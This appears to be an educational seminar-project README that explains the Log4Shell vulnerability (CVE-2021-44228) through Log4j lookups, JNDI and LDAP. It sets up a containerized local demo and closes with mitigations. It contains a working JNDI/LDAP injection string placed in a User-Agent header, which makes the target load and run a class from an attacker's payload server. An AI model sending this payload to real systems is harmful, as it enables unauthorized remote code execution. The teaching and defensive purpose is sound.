
Praktische Demonstration der Log4Shell-Sicherheitslücke (CVE-2021-44228)
This repository is intended exclusively for educational and demonstration purposes as part of a security-related seminar paper. Do not use this code in production environments or against systems without explicit permission. The setup aims to promote security awareness and show how complex vulnerabilities can arise when seemingly harmless features such as logging, name resolution, and dynamic class loading are combined.
The goal of this seminar paper is to provide an in-depth understanding of the Log4Shell security vulnerability (CVE-2021-44228), which became known in December 2021 and was classified as one of the most critical security vulnerabilities in recent years. The paper explains both the theoretical foundations and provides a practical demonstration of the vulnerability.
For a practical illustration of the Log4Shell security vulnerability, an isolated and containerized environment has been set up in this repository, which reproduces the complete attack chain. The demonstration is based on three central components:
User-Agent header from the HTTP request, which attackers can manipulate to exploit the vulnerability.Exploit.class). Like the LDAP server, this server is under the attacker's control.Note: More detailed information about the setup and execution of the demonstration can be found in sections 4. Project Structure and Setup and 5. Demo of the Project.
Log4Shell is the name of a critical security vulnerability in the Java library Log4j with the identifier CVE-2021-44228. It enables an attacker to execute arbitrary code on a remote server (Remote Code Execution, or RCE) with minimal effort.
The vulnerability affects Log4j versions 2.0 to 2.14.1 and is so severe that it was classified with the highest risk level by many security authorities, including the BSI (German Federal Office for Information Security).
Log4Shell is particularly dangerous because...
The actual cause lies in a feature of Log4j that allows dynamic content to be loaded into log messages through so-called Lookups. In combination with JNDI (Java Naming and Directory Interface) and the LDAP (Lightweight Directory Access Protocol) protocol, this allows remote malicious Java classes to be loaded and executed.
The discovery and publication of the vulnerability triggered a global security wave. Many systems had to be immediately patched or taken offline. In the aftermath, further related vulnerabilities (e.g., CVE-2021-45046) became known, demonstrating how deep and dangerous the problem was.
In the following sections, the technologies involved and their interplay are explained in detail to develop a deeper understanding of the vulnerability.
Log4j is a library created by Apache for logging events in Java applications. Logging is a central tool in software development for monitoring systems or analyzing errors. Log4j is one of the best-known and most widely used logging frameworks in the Java ecosystem and is used in both small applications and large enterprise systems.
While a program runs, events such as the following occur:
These events can be documented with logs, usually as text output to the console, to files, or over network protocols to central log servers. Well-designed logging makes it possible to trace what the application did when.
Log4j provides a flexible, highly configurable infrastructure for generating and processing log messages. Key features include:
DEBUG, INFO, WARN, ERROR) that control how detailed logging should be.Further features relevant to this seminar paper are covered in later sections, particularly the placeholder functionality and lookup functionality.
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
In this simple example, a logger instance is created or retrieved if it already exists. Then a log message is output at the `INFO` level. Log4j handles the formatting and output of the message based on the configuration. An example configuration could look as follows:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
This configuration defines an appender that outputs log messages in the format Datum Uhrzeit Log-Level Loggername - Nachricht on the console. This appender is then assigned to the root logger, which processes all log messages from level INFO.
The output could then look like this:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Now let's turn to the specific features of Log4j that are most relevant to the Log4Shell vulnerability.
#### Placeholders in Log Messages
A particularly useful feature of Log4j is the support for **placeholders** in log messages. This allows dynamic content to be inserted into the log output at runtime:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
At runtime, {} is replaced by the actual value of the variable username. This results in the following output:```text
"Benutzer angemeldet: Alice"
#### Dynamic Expressions Called Lookups
In addition to simple placeholders, Log4j also offers the ability to resolve more complex expressions directly in the log message. This function is called **Lookup**: it allows values to be dynamically inserted at runtime (e.g., environment variables, system information, or configuration values).
Examples of such dynamic expressions:
- `${env:HOME}` - returns the value of the environment variable `HOME`. On Linux / macOS this would be e.g., `/home/username`.
- `${docker:...}` - could provide information about the Docker container in which the application is running.
- `${jndi:...}` - performs a JNDI lookup to load internal or external resources.
The next section examines the JNDI functionality in more detail, as it plays a central role in the Log4Shell vulnerability.
### 3.2 JNDI - Lookup Mechanism
**JNDI** stands for _Java Naming and Directory Interface_ and is a standardized Java API that enables access to **naming and directory services**. With JNDI, Java applications can reference resources not directly via technical paths, but via symbolic names.
A classic use of JNDI is looking up database connections, which you see here:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
First, an InitialContext is created, which represents the entry point for name resolution using JNDI. Then a resource is looked up via the lookup method. In this case, a data source (DataSource) with the symbolic name java:/comp/env/jdbc/myDB.

The Java application uses the protocol-independent interface of JNDI, which contains classes such as InitialContext, with the lookup method. The API is always the same, whether one uses LDAP, DNS, etc. The Naming Manager acts as a mediator and selects the appropriate Service Provider that handles the actual communication. The JNDI SPI (Service Provider Interface) is a collection of classes that implement JNDI functionality for different protocols. In our case, the relevant service provider is LDAP.
In the next section, we will take a closer look at the service provider LDAP.
LDAP stands for Lightweight Directory Access Protocol and is a standardized network protocol that enables access to so-called directory services. It was originally developed as a lightweight alternative to X.500 and is now a standard in many corporate networks, especially for central user and rights management.
A directory service is a structured database that stores information in hierarchical form. Unlike relational databases, a directory is:

As can be seen in the image, an LDAP directory is organized in a tree-like structure. At the root level there are Domain Components (dc). Below them there can be Organizational Units (ou), which represent further subdivisions, such as Users. For individual users or objects, there are Common Names (cn), which identify the specific entry and can contain various attributes.
Meaning:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common NameLet us now look at how LDAP is addressed and what role it plays in the Log4Shell vulnerability.
In LDAP one can also store references to external classes, which can then be loaded on demand. This is done via special attributes such as javaClassName and javaCodeBase. These attributes can point to a URL from which a Java class is to be loaded.
With the following URL, for example, we can query an object that refers to a Java class:``` ldap://ldap-server:1389/Exploit

As can be seen in the image, the LDAP entry contains an attribute `javaClassName` that references the class `Exploit`. The attribute `javaCodeBase` specifies the URL from which the class is to be loaded. In this case, it is an HTTP server with the address `http://payload-server/` providing the `Exploit.class`.
Now we have examined all technical components in detail. In the next section, the general flow of the Log4Shell vulnerability is described to understand how these technologies interact and what attack vector arises from it.
### 3.4 General Flow of Log4Shell
After examining the three involved technologies – **Log4j** as a logging framework, **JNDI** as an interface for directory services, and **LDAP** as a concrete directory service – individually, it becomes clear how dangerous their combination can be if no security precautions are taken.
In Log4j versions up to 2.14.1, it was possible to evaluate so-called **Lookups** directly in log messages. This allowed JNDI queries via LDAP to be incorporated, which could then load and execute arbitrary Java classes from a remote server without explicitly enabling this functionality.
#### Concrete scenario in interaction:
Now we implement what we have just learned in a concrete example. As a first step, we start a JNDI lookup with the following expression:```text
${jndi:...}
Now, let's use the LDAP Service Provider to load a remote Java class ldap://ldap-server:1389/Exploit. Together, this results in the following string:```text
${jndi:ldap://ldap-server:1389/Exploit}
Now an attacker only needs to ensure that this string ends up in a log message, for example by manipulating an HTTP header.

As can be seen in the image, there is the attacker on the left who hosts their own LDAP server and payload server. On the right is the vulnerable application with Log4j version 2.14.1. The attack flow is as follows:
1. An attacker sends an HTTP request to the application and inserts the manipulated string shown above, for example in the `User-Agent` header: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent-Header: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j erkennt ${jndi:...}und führt automatisch einen JNDI-Lookup über das angegebene Protokoll ldap durch
Nun wird der LDAP-Service Provider aufgerufen, um die angegebene URL ldap://ldap-server:1389/Exploit aufzulösen.
Der LDAP-Server antwortet mit einem Verweis auf eine externe Java-Klasse (Exploit.class), die sich auf folgendem Server befindet: ```
http://payload-server:8000/Exploit.class
The application sends a request to the payload server to load the Exploit.class.
The payload server responds with the Java class Exploit.class. This class is then executed without any validation. The attacker thus has complete control over the code that runs on the vulnerable server.
Because:
The interaction of dynamic lookups in Log4j, flexible name resolution via JNDI, and the LDAP protocol creates an unexpected attack surface. What was originally intended as a powerful configuration feature became a gateway for remote code execution.
The next section describes the project structure and demo setup to run the vulnerability locally.
The project structure reflects the three central components:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 Prerequisites
To run the Log4Shell demo locally, the following prerequisites are required:
#### Docker & Docker Compose
The entire infrastructure is based on containers. Docker ensures that each component (vulnerable-app, ldap-server, payload-server) runs in an isolated environment.
- **Docker**:
Installation at [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (is already included with Docker Desktop)
Alternatively installable via [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
To execute the attack via the command line, the `curl` tool can be used:
- Already pre-installed on Linux/macOS
- On Windows via [https://curl.se/](https://curl.se/) or included in Git Bash
> **Note:** The application and all included servers run locally on your machine and communicate exclusively within an isolated Docker network (`log4shell-network`). No connection to external servers is needed or established.
### 4.3 Setup
This section describes how to set up and start the environment locally.
#### Step 1: Clone the repository```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
With Docker Compose, all required services can be started with a single command:```bash docker-compose up --build
`docker-compose up --build` causes:
- The images for `vulnerable_app`, `ldap_server` and `payload_server` will be built
- All three services will be started
- They communicate via a shared internal Docker network (`log4shell-network`)
After successful startup, the application can be reached via the following endpoint:```
http://localhost:8080
Log output and events appear live in the console. The containers run as long as the terminal window is open (or the process runs in the background).
Note: Ensure that no other services are running on ports 8080, 1389, or 8000 to avoid conflicts.
If you wish to close the containers, you can do so with
docker-compose down. This will stop and remove all running containers, but the images will be retained.
This section demonstrates how the Log4Shell vulnerability can be triggered in the provided demo environment. All previously started components work together:
User-Agent header with Log4jExploit.class)To run the demo, you need two console windows. First, start the environment with docker-compose up --build in one terminal, if you haven't already done so. In a second terminal, proceed with the following steps:
Verify that the file does not yet exist:
Since this is a demo, the exploit merely creates an empty file to demonstrate successful execution. You can see this in the class payload-server/Exploit.java. To check whether the file does not yet exist, run the following command: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
If the file does not exist, an error message like No such file or directory should appear. This confirms that the exploit has not been executed yet.
Explanation of the Payload:
${jndi:...}: Log4j automatically interprets this expression and performs a JNDI lookup.ldap://ldap-server:1389: Connects to the LDAP server running in the Docker network./Exploit: Name of the LDAP entry that points to the malicious class.http://localhost:8080: The URL of the vulnerable application to which you send the request to trigger the Log4j vulnerability.What happens in the background?

User-Agent headerUser-Agent header and performs a JNDI lookup via LDAPExploit.class provided by the payload serverNote: As mentioned, in this demo only an empty file is created to demonstrate successful execution. In real attack scenarios, arbitrary code could be executed!
Verify the attack sequence
Now you can verify again whether the file /tmp/remote_code_execution was created in the container: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
If the attack was successful, you should see the following output: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
With just a single manipulated log line, a complete remote code execution process is triggered — that is exactly what makes Log4Shell so dangerous. This demo shows how the interplay of **Log4j**, **JNDI**, and **LDAP** can lead to exploitation.
## 6. Protective Measures
The Log4Shell vulnerability has shown how profoundly modern applications can be compromised by seemingly harmless features. To effectively secure systems against such attacks, the following measures should be implemented:
- **Update Log4j version (at least 2.17.1)**
The most important measure is the **update to a Log4j version ≥ 2.17.1**, because only from this version onwards have all known vulnerabilities (including DoS and configuration exploits) been fixed. Earlier versions remain vulnerable and should no longer be used!
- **Disable JNDI lookups**
If a full update is not possible, **JNDI lookups should be disabled**. This can be done in the `log4j2.properties` file by setting the following configuration: ```properties
log4j2.formatMsgNoLookups=true
Diese Einstellung verhindert, dass Log4j JNDI-Lookups in Log-Nachrichten auswertet. Dadurch wird die Angriffsfläche erheblich reduziert. Jedoch ist dies nur ein temporärer Workaround, da andere Schwachstellen weiterhin bestehen können (DoS, Konfigurations-Exploits).
Eingaben validieren
Alle Benutzereingaben sollten validiert und bereinigt werden, bevor sie in Log-Nachrichten verwendet werden. Insbesondere sollten dynamische Ausdrücke wie ${jndi:...} nicht direkt übernommen werden.
Ausgehende Netzwerkverbindungen einschränken
Ein zentraler Bestandteil des Exploits war der ungehinderte Zugriff auf externe Server, welche vom Angreifer kontrolliert werden. Systeme sollten so konfiguriert werden, dass sie nicht beliebige externe Ziele erreichen können, z. B. durch Firewalls oder Netzwerk-Policies. Insbesondere sollte der Zugriff auf unbekannte LDAP-Ziele aus der Anwendung heraus unterbunden werden.
Die Log4Shell-Sicherheitslücke zeigt eindrucksvoll, wie wichtig es ist, sich nicht nur auf die Sicherheit des eigenen Codes zu verlassen, sondern auch die genutzten Bibliotheken und Frameworks sorgfältig auszuwählen und zu verstehen. In diesem Fall führte eine scheinbar harmlose Logging-Bibliothek (Log4j) zu einer Remote-Code-Execution-Schwachstelle. Daran sieht man, dass auch Abhängigkeiten zu einer Einfallstür für Exploits werden können. Man sollte sich immer fragen, ob man eine externe Bibliothek wirklich benötigt oder ob sich eine Funktion auch ohne zusätzliche Abhängigkeiten umsetzen lässt.
Ein weiterer wichtiger Punkt ist das Thema versteckte Komplexität. Funktionen wie ${env:HOME} innerhalb einer Log-Nachricht sehen harmlos aus, verbergen aber komplexe Mechanismen im Hintergrund, wie dynamische Lookups. Dadurch kann sich unbemerkt gefährliches Verhalten einschleichen. Alternativ sollte man lieber explizite und transparente Lösungen verwenden, etwa System.getenv("HOME"), so behält man die Kontrolle und kann nachvollziehen, was passiert.
Zudem gilt ein allgemeiner, aber oft vernachlässigter Grundsatz: Niemals Benutzereingaben ungeprüft weiterverarbeiten. Besonders bei sicherheitsrelevanten Operationen wie Logging, Datenbankzugriffen oder Systembefehlen müssen Eingaben validiert und bereinigt werden.
Nicht zuletzt zeigt der Vorfall, wie gefährlich es sein kann, wenn mächtige Features wie JNDI-Lookups standardmäßig aktiviert sind. Wäre in Log4j diese Funktion nicht standardmäßig aktiviert gewesen, wäre nur eine kleine Teilmenge der Systeme betroffen gewesen.
Die wichtigsten Erkenntnisse: